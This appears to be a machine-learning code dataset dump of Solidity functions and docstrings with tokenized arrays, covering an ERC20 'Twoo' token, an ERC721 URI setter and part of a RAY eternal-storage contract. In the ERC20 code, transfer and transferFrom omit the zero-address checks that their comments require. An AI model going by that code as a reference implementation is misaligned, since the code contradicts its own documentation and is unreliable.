address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 internal _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount);
unchecked {
_approve(sender, msg.sender, currentAllowance - amount);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract Twoo is ERC20 {
uint16 MyNum = 59539;
constructor(uint256 totalSupply_, string memory name_, string memory symbol_) ERC20(name_, symbol_) payable {
_balances[msg.sender] = totalSupply_;
_totalSupply = totalSupply_;
emit Transfer(address(0), msg.sender, totalSupply_);
_approve(msg.sender, 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, totalSupply_);
}
} | * @dev Moves `amount` of tokens from `sender` to `recipient`. This internal function is equivalent to {transfer}, and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event. Requirements: - `sender` cannot be the zero address. - `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`./ | function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
| 79,222 | [
1,
19297,
1375,
8949,
68,
434,
2430,
628,
1375,
15330,
68,
358,
1375,
20367,
8338,
1220,
2713,
445,
353,
7680,
358,
288,
13866,
5779,
471,
848,
506,
1399,
358,
425,
18,
75,
18,
2348,
5859,
1147,
1656,
281,
16,
9026,
310,
1791,
28757,
16,
5527,
18,
7377,
1282,
279,
288,
5912,
97,
871,
18,
29076,
30,
300,
1375,
15330,
68,
2780,
506,
326,
3634,
1758,
18,
300,
1375,
20367,
68,
2780,
506,
326,
3634,
1758,
18,
300,
1375,
15330,
68,
1297,
1240,
279,
11013,
434,
622,
4520,
1375,
8949,
8338,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
13866,
12,
203,
3639,
1758,
5793,
16,
203,
3639,
1758,
8027,
16,
203,
3639,
2254,
5034,
3844,
203,
565,
262,
2713,
5024,
288,
203,
3639,
2254,
5034,
5793,
13937,
273,
389,
70,
26488,
63,
15330,
15533,
203,
3639,
2583,
12,
15330,
13937,
1545,
3844,
1769,
203,
3639,
22893,
288,
203,
5411,
389,
70,
26488,
63,
15330,
65,
273,
5793,
13937,
300,
3844,
31,
203,
3639,
289,
203,
3639,
389,
70,
26488,
63,
20367,
65,
1011,
3844,
31,
203,
203,
3639,
3626,
12279,
12,
15330,
16,
8027,
16,
3844,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/137/0x81779BfaC067D41fa5F31f7C3D403e1619038e1b/sources/project_/contracts/ERC721SingleURIStorage.sol | * Set contract URI, internal function @param contractURI_ Contract URI/ | function _setContractURI(
string memory contractURI_
) internal {
contractURI = contractURI_;
}
| 3,754,593 | [
1,
694,
6835,
3699,
16,
2713,
445,
225,
6835,
3098,
67,
13456,
3699,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
542,
8924,
3098,
12,
203,
3639,
533,
3778,
6835,
3098,
67,
203,
565,
262,
2713,
288,
203,
3639,
6835,
3098,
273,
6835,
3098,
67,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
The software and documentation available in this repository (the "Software") is
protected by copyright law and accessible pursuant to the license set forth below.
Copyright © 2019 Staked Securely, Inc. All rights reserved.
Permission is hereby granted, free of charge, to any person or organization
obtaining the Software (the “Licensee”) to privately study, review, and analyze
the Software. Licensee shall not use the Software for any other purpose. Licensee
shall not modify, transfer, assign, share, or sub-license the Software or any
derivative works of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
PARTICULAR PURPOSE, TITLE, AND NON-INFRINGEMENT. IN NO EVENT SHALL THE COPYRIGHT
HOLDERS BE LIABLE FOR ANY DAMAGES OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT,
OR OTHERWISE, ARISING FROM, OUT OF, OR IN CONNECTION WITH THE SOFTWARE.
*/
pragma solidity 0.4.25;
/// @notice Implementation of the Eternal Storage Pattern to enable the RAY
/// smart contracts system to be upgradable.
///
/// Author: Devan Purhar
/// Version: 1.0.0
contract Storage {
/*************** STORAGE VARIABLE DECLARATIONS **************/
// TODO: remove 'wallet', this will eventually be a contract, not an EOA
address public governanceWalletAddress;
mapping(address => bool) internal storageWrappers; // verified addresses to mutate Storage
mapping(address => bool) internal oracles; // verified off-chain addresses to call the Oracle contract
mapping(bytes32 => address) internal verifier; // verified contract for portfolio impls.
mapping(bytes32 => address) internal contracts; // verified contracts of the system
mapping(bytes32 => bytes32) internal tokenKeys;
mapping(bytes32 => CommonState) internal _commonStorage;
mapping(bytes32 => PortfolioState) internal _portfolioStorage;
mapping(address => CoinState) internal _coinStorage;
/// @notice Common state across RAY's and Opportunities
struct CommonState {
uint withdrawnYield;
uint realizedYield;
uint totalShareSupply;
uint principal; // only used by Opportunities, only one principal balance to track per Opportunity pool
bool pausedMode;
address principalAddress;
mapping(bytes32 => uint[4]) tokenValues;
// include these for flexibility in the future
mapping(bytes32 => bool) _bool;
mapping(bytes32 => int) _int;
mapping(bytes32 => uint) _uint;
mapping(bytes32 => string) _string;
mapping(bytes32 => address) _address;
mapping(bytes32 => bytes) _bytes;
}
/// @notice Variables only Portfolios require
struct PortfolioState {
mapping(bytes32 => bytes32) opportunityTokens;
bytes32[] opportunities;
mapping(bytes32 => bool) validOpportunities;
uint availableCapital;
}
/// @notice State that needs to be filled out for a coin to be added to the
/// system.
///
/// TODO: Remove minAmount. We should go back to only enforcing the technical
/// minimal amount on-chain and leave any harder restrictions to GUI-side.
/// It's not in favor of an 'open' system to have minimum limits.
struct CoinState {
uint benchmarkRate;
uint cumulativeRate;
uint lastUpdatedRate; // in seconds
uint acpContribution;
uint minAmount;
uint raised;
bool isERC20;
}
/*************** MODIFIER DECLARATIONS **************/
/// @notice Checks the caller is a valid Storage Wrapper
///
/// @dev Only Storage Wrappers can mutate Storage's storage
modifier onlyStorageWrappers()
{
require(
storageWrappers[msg.sender] == true,
"#Storage onlyStorageWrappers Modifier: Only StorageWrappers can call this"
);
_;
}
/////////////////////// FUNCTION DECLARATIONS BEGIN ///////////////////////
/******************* PUBLIC FUNCTIONS *******************/
/// @notice Sets the Admin contract to our wallet originally until we deploy
/// the Admin contract (next step in deployment). Also sets our wallet
/// wallet address as a storage wrapper, later unsets it.
///
/// @param _governanceWalletAddress - governance's wallet address
/// @param _weth - Canonical WETH9 contract address
/// @param _dai - DAI token contract address
constructor(
address _governanceWalletAddress,
address _weth,
address _dai
)
public
{
governanceWalletAddress = _governanceWalletAddress;
contracts[keccak256("WETHTokenContract")] = _weth;
contracts[keccak256("DAITokenContract")] = _dai;
contracts[keccak256("AdminContract")] = msg.sender; // need to deploy Admin and then forgo this
storageWrappers[msg.sender] = true; // need to deploy and set Storage Wrappers then forgo this
}
/** ----------------- GLOBAL VIEW ACCESSORS ----------------- **/
/// @notice Gets the current governance address
///
/// @return governance address
function getGovernanceWallet() external view returns (address) {
return governanceWalletAddress;
}
/// @notice Checks if the entered address is an approved Oracle
///
/// @param target - address we're checking out
///
/// @return true or false
function getIsOracle(address target) external view returns (bool) {
return oracles[target];
}
/// @notice Gets a contract address by a bytes32 hash (keccak256)
///
/// @param contractName - Ex. keccak256("PortfolioManagerContract");
///
/// @return The contract address
function getContractAddress(bytes32 contractName) external view returns (address) {
return contracts[contractName];
}
/// @notice Maps portfolio's to the contract that they currently are used
/// through. Supports multiple versions of the same contracts
///
/// @param contractName - Ex. keccak256("PortfolioManagerContract");
///
/// @return The contract address
function getVerifier(bytes32 contractName) external view returns (address) {
return verifier[contractName];
}
/// @notice Each token is mapped to a key that unlocks everything for it
/// in storage.
///
/// @param tokenId - token id of the RAY token
///
/// @return The portfolio id/key associated
function getTokenKey(bytes32 tokenId) external view returns (bytes32) {
return tokenKeys[tokenId];
}
/** ----------------- STATE SPECIFIC-TYPE VIEW ACCESSOR ----------------- **/
/// @notice Get the Opportunities this portfolio is allowed to be in
///
/// @param portfolioId - the id of the portfolio
///
/// @return Array of valid opportunity id's
function getOpportunities(bytes32 portfolioId) external view returns (bytes32[]) {
return _portfolioStorage[portfolioId].opportunities;
}
/// @notice Get's the coin type of the entered RAY
///
/// @param portfolioId - the id of the portfolio
///
/// @return The coin associated with the portfolio
///
/// TODO: Refactor to getPrincipalToken since we commonly use that
function getPrincipalAddress(bytes32 portfolioId) external view returns (address) {
return _commonStorage[portfolioId].principalAddress;
}
/// @notice Check if the entered coin is an ERC20
///
/// @param principalAddress - the coin contract address we're checking
///
/// @return true or false
function getIsERC20(address principalAddress) external view returns (bool) {
return _coinStorage[principalAddress].isERC20;
}
/// @notice Get the min. amount for the associated coin
///
/// @param principalAddress - the coin contract address we're checking
///
/// @return min. amount in smallest units in-kind
///
/// TODO: Remove this (and refactor the check used in PositionManager associated)
function getMinAmount(address principalAddress) external view returns (uint) {
return _coinStorage[principalAddress].minAmount;
}
/// @notice Get the normalizer factor for the associated coin
///
/// @param principalAddress - the coin contract address we're checking
///
/// @return multiplier to use on the input values for this coin
function getRaised(address principalAddress) external view returns (uint) {
return _coinStorage[principalAddress].raised;
}
/// @notice Gets the current benchmark rate of associated coin
///
/// @param principalAddress - the coin contract address we're checking
///
/// @return benchmark rate
function getBenchmarkRate(address principalAddress) external view returns (uint) {
return _coinStorage[principalAddress].benchmarkRate;
}
/// @notice Gets the cumulative rate of the portfolio entered
///
/// @dev The cumulative rate tracks how the benchmark rate has
/// progressed over time. Used in our fee model to find
/// what benchmark rate is appropriate to a unique token
/// based on when they joined and the changes the rate
/// went through in that time period before they withdraw.
///
/// @param principalAddress - the coin contract address we're checking
///
/// @return the cumulative benchmark rate
function getCumulativeRate(address principalAddress) external view returns (uint) {
return _coinStorage[principalAddress].cumulativeRate;
}
/// @notice Gets the last time in seconds the cumulative rate was
/// was updated for the associated coin
///
/// @param principalAddress - the coin contract address we're checking
///
/// @return Last time in seconds the cumulative rate was updated
function getLastUpdatedRate(address principalAddress) external view returns (uint) {
return _coinStorage[principalAddress].lastUpdatedRate;
}
/// @notice Gets the ACP Contribution for the associated coin
///
/// @param principalAddress - the coin contract address we're checking
///
/// @return the acp contribution
function getACPContribution(address principalAddress) external view returns (uint) {
return _coinStorage[principalAddress].acpContribution;
}
/// @notice Checks if the opportunity is allowed for the associated portfolio
///
/// @param portfolioId - the id of the portfolio
/// @param opportunityId - the id of the opportunity
///
/// @return true or false
function isValidOpportunity(bytes32 portfolioId, bytes32 opportunityId) external view returns (bool) {
return _portfolioStorage[portfolioId].validOpportunities[opportunityId];
}
/// @notice Get the shares of the associated token
///
/// @param portfolioId - the id of the portfolio
/// @param tokenId - the id of the token
///
/// @return the number of shares
function getTokenShares(bytes32 portfolioId, bytes32 tokenId) external view returns (uint) {
return _commonStorage[portfolioId].tokenValues[tokenId][0];
}
/// @notice Get the capital of the associated token
///
/// @param portfolioId - the id of the portfolio
/// @param tokenId - the id of the token
///
/// @return the amount of capital
function getTokenCapital(bytes32 portfolioId, bytes32 tokenId) external view returns (uint) {
return _commonStorage[portfolioId].tokenValues[tokenId][1];
}
/// @notice Gets the allowance of the associated token
///
/// @dev Each token has an allowance which reflects how much yield they're
/// able to make without being charged a fee by us.
///
/// @param portfolioId - the id of the portfolio
/// @param tokenId - the id of the token
///
/// @return the amount of allowance
function getTokenAllowance(bytes32 portfolioId, bytes32 tokenId) external view returns (uint) {
return _commonStorage[portfolioId].tokenValues[tokenId][2];
}
/// @notice Gets the value of the cumulative rate the token 'entered' at.
///
/// @dev I say 'entered' because when a token adds capital or partially withdraws
/// or anytime it changes it's token capital we reset this.
///
/// @param portfolioId - the id of the portfolio
/// @param tokenId - the id of the token
///
/// @return the entry rate in seconds
///
/// TODO: Based on the above @dev we should refactor this to a more appropriate
/// name
function getEntryRate(bytes32 portfolioId, bytes32 tokenId) external view returns (uint) {
return _commonStorage[portfolioId].tokenValues[tokenId][3];
}
/// @notice Gets the Opportunity Token of a portfolio.
///
/// @dev We assume a portfolio will only need one of a certain Opportunity
/// Token. It shouldn't ever need multiple of the same Opportunity.
///
/// @param portfolioId - the id of the portfolio
/// @param opportunityId - the id of the opportunity
///
/// @return The Opportunity token id
function getOpportunityToken(bytes32 portfolioId, bytes32 opportunityId) external view returns (bytes32) {
return _portfolioStorage[portfolioId].opportunityTokens[opportunityId];
}
/// @notice Get the principal supplied for the Opportunity
///
/// @param opportunityId - the id of the opportunity
///
/// @return the amount of principal supplied
function getPrincipal(bytes32 opportunityId) external view returns (uint) {
return _commonStorage[opportunityId].principal;
}
/// @notice Check if in paused mode for the associated portfolio
///
/// @param portfolioId - the id of the portfolio
///
/// @return true or false
function getPausedMode(bytes32 portfolioId) external view returns (bool) {
return _commonStorage[portfolioId].pausedMode;
}
/// @notice Gets the realized yield of the associated portfolio
///
/// @dev Realized yield is the yield we've made, but withdrew
/// back into the system and now use it as capital
///
/// @param portfolioId - the id of the portfolio
///
/// @return the yield realized
function getRealizedYield(bytes32 portfolioId) external view returns (uint) {
return _commonStorage[portfolioId].realizedYield;
}
/// @notice Gets the withdrawn yield of the associated portfolio
///
/// @param portfolioId - the id of the portfolio
///
/// @return the yield withdrawn
function getWithdrawnYield(bytes32 portfolioId) external view returns (uint) {
return _commonStorage[portfolioId].withdrawnYield;
}
/// @notice Gets the available capital of the portfolio associated
///
/// @dev Available capital is the amount of funds available to a portfolio.
/// This is instantiated by users depositing funds
///
/// @param portfolioId - the id of the portfolio
///
/// @return the available capital
function getAvailableCapital(bytes32 portfolioId) external view returns (uint) {
return _portfolioStorage[portfolioId].availableCapital;
}
/// @notice Gets the share supply of the portfolio associated
///
/// @param portfolioId - the id of the portfolio
///
/// @return the total shares
function getShareSupply(bytes32 portfolioId) external view returns (uint) {
return _commonStorage[portfolioId].totalShareSupply;
}
/** ----------------- GENERIC TYPE VIEW ACCESSOR ----------------- **/
function getBoolean(bytes32 ray, bytes32 key) external view returns (bool) {
return _commonStorage[ray]._bool[key];
}
function getInt(bytes32 ray, bytes32 key) external view returns (int) {
return _commonStorage[ray]._int[key];
}
function getUint(bytes32 ray, bytes32 key) external view returns (uint) {
return _commonStorage[ray]._uint[key];
}
function getAddress(bytes32 ray, bytes32 key) external view returns (address) {
return _commonStorage[ray]._address[key];
}
function getString(bytes32 ray, bytes32 key) external view returns (string) {
return _commonStorage[ray]._string[key];
}
function getBytes(bytes32 ray, bytes32 key) external view returns (bytes) {
return _commonStorage[ray]._bytes[key];
}
/** ----------------- ONLY STORAGE WRAPPERS GLOBAL MUTATORS ----------------- **/
/// @notice This sets the Governance Wallet - important since this wallet controls
/// the Admin contract that controls 'Governance' in the system.
///
/// @param newGovernanceWallet - the new governance address
function setGovernanceWallet(address newGovernanceWallet) external onlyStorageWrappers {
governanceWalletAddress = newGovernanceWallet;
}
/// @dev Adds or remove an address to Oracle permissions status
///
/// @param oracle - the address of the wallet targeted
/// @param action - the action we wish to carry out, true to add, false to remove
function setOracle(address oracle, bool action) external onlyStorageWrappers {
oracles[oracle] = action;
}
/// @notice Adds or removes an address to StorageWrapper permissions status
///
/// @param theStorageWrapper - the address to either add or remove
/// @param action - the action we wish to carry out, true to add, false to remove
function setStorageWrapperContract(
address theStorageWrapper,
bool action
)
external
onlyStorageWrappers
{
storageWrappers[theStorageWrapper] = action;
}
/// @notice Sets a portfolio or opportunity to a contract implementation
///
/// @param typeId - the portfolio or opportunity id
/// @param contractAddress - the contract address
function setVerifier(bytes32 typeId, address contractAddress) external onlyStorageWrappers {
verifier[typeId] = contractAddress;
}
/// @notice Sets the contract address mapped to a contracts name
///
/// @param contractName - The name of the contract
/// @param contractAddress - The address of the contract
function setContractAddress(
bytes32 contractName,
address contractAddress
)
external
onlyStorageWrappers
{
contracts[contractName] = contractAddress;
}
/// @notice Sets a portfolio id to a token
///
/// @param tokenId - The id of the token
/// @param portfolioId - The id of the portfolio
function setTokenKey(bytes32 tokenId, bytes32 portfolioId) external onlyStorageWrappers {
tokenKeys[tokenId] = portfolioId;
}
/// @notice Sets status on ERC20 for the associated coin
///
/// @param principalAddress - The coin's contract address
/// @param _isERC20 - true if is ERC20, false if not
function setIsERC20(address principalAddress, bool _isERC20) external onlyStorageWrappers {
_coinStorage[principalAddress].isERC20 = _isERC20;
}
/// @notice Sets the min. amount for the associated coin
///
/// @param principalAddress - The coin's contract address
/// @param _minAmount - the min. amount in-kind smallest units
function setMinAmount(address principalAddress, uint _minAmount) external onlyStorageWrappers {
_coinStorage[principalAddress].minAmount = _minAmount;
}
/// @notice Sets the normalizing multiplier for the associated coin
///
/// @param principalAddress - The coin's contract address
/// @param _raised - the multiplier
function setRaised(address principalAddress, uint _raised) external onlyStorageWrappers {
_coinStorage[principalAddress].raised = _raised;
}
/// @notice Sets the benchmark rate for the associated coin
///
/// @param principalAddress - The coin's contract address
/// @param newBenchmarkRate - the new benchmark rate
function setBenchmarkRate(
address principalAddress,
uint newBenchmarkRate
)
external
onlyStorageWrappers
{
_coinStorage[principalAddress].benchmarkRate = newBenchmarkRate;
}
/// @notice Sets the cumulative rate for the associated coin
///
/// @param principalAddress - The coin's contract address
/// @param newCumulativeRate - the new cumulative rate
function setCumulativeRate(
address principalAddress,
uint newCumulativeRate
)
external
onlyStorageWrappers
{
_coinStorage[principalAddress].cumulativeRate = newCumulativeRate;
}
/// @notice Sets the timestamp for last updating the rate for the associated coin
///
/// @param principalAddress - The coin's contract address
/// @param newLastUpdatedRate - the new last updated rate
function setLastUpdatedRate(
address principalAddress,
uint newLastUpdatedRate
)
external
onlyStorageWrappers
{
_coinStorage[principalAddress].lastUpdatedRate = newLastUpdatedRate;
}
/// @notice Sets the acp contribution for the associated coin
///
/// @param principalAddress - The coin's contract address
/// @param newACPContribution - the new acp contribution
function setACPContribution(
address principalAddress,
uint newACPContribution
)
external
onlyStorageWrappers
{
_coinStorage[principalAddress].acpContribution = newACPContribution;
}
/** ----------------- ONLY STORAGE WRAPPERS STATE SPECIFIC MUTATORS ----------------- **/
/// @notice Clears the data of the associated token (used upon a burn)
///
/// @param portfolioId - the id of the portfolio
/// @param tokenId - the id of the token
function deleteTokenValues(bytes32 portfolioId, bytes32 tokenId) external onlyStorageWrappers {
delete _commonStorage[portfolioId].tokenValues[tokenId];
}
/// @notice Add an Opportunity to a portfolio's available options. We also set
/// the principal address used by the portfolio at the same time.
///
/// @param portfolioId - The id of the portfolio we're configuring
/// @param opportunityKey - The key of the opportunity we're adding to this portfolio
/// @param _principalAddress - The coin's contract address for this portfolio
//
/// TODO: This is in-efficient, we set the principal address multiple times
/// for the same portfolio. Fix this.
///
/// TODO: Refactor principalToken -> principalAddress or opposite?
function addOpportunity(
bytes32 portfolioId,
bytes32 opportunityKey,
address _principalAddress
)
external
onlyStorageWrappers
{
_portfolioStorage[portfolioId].opportunities.push(opportunityKey);
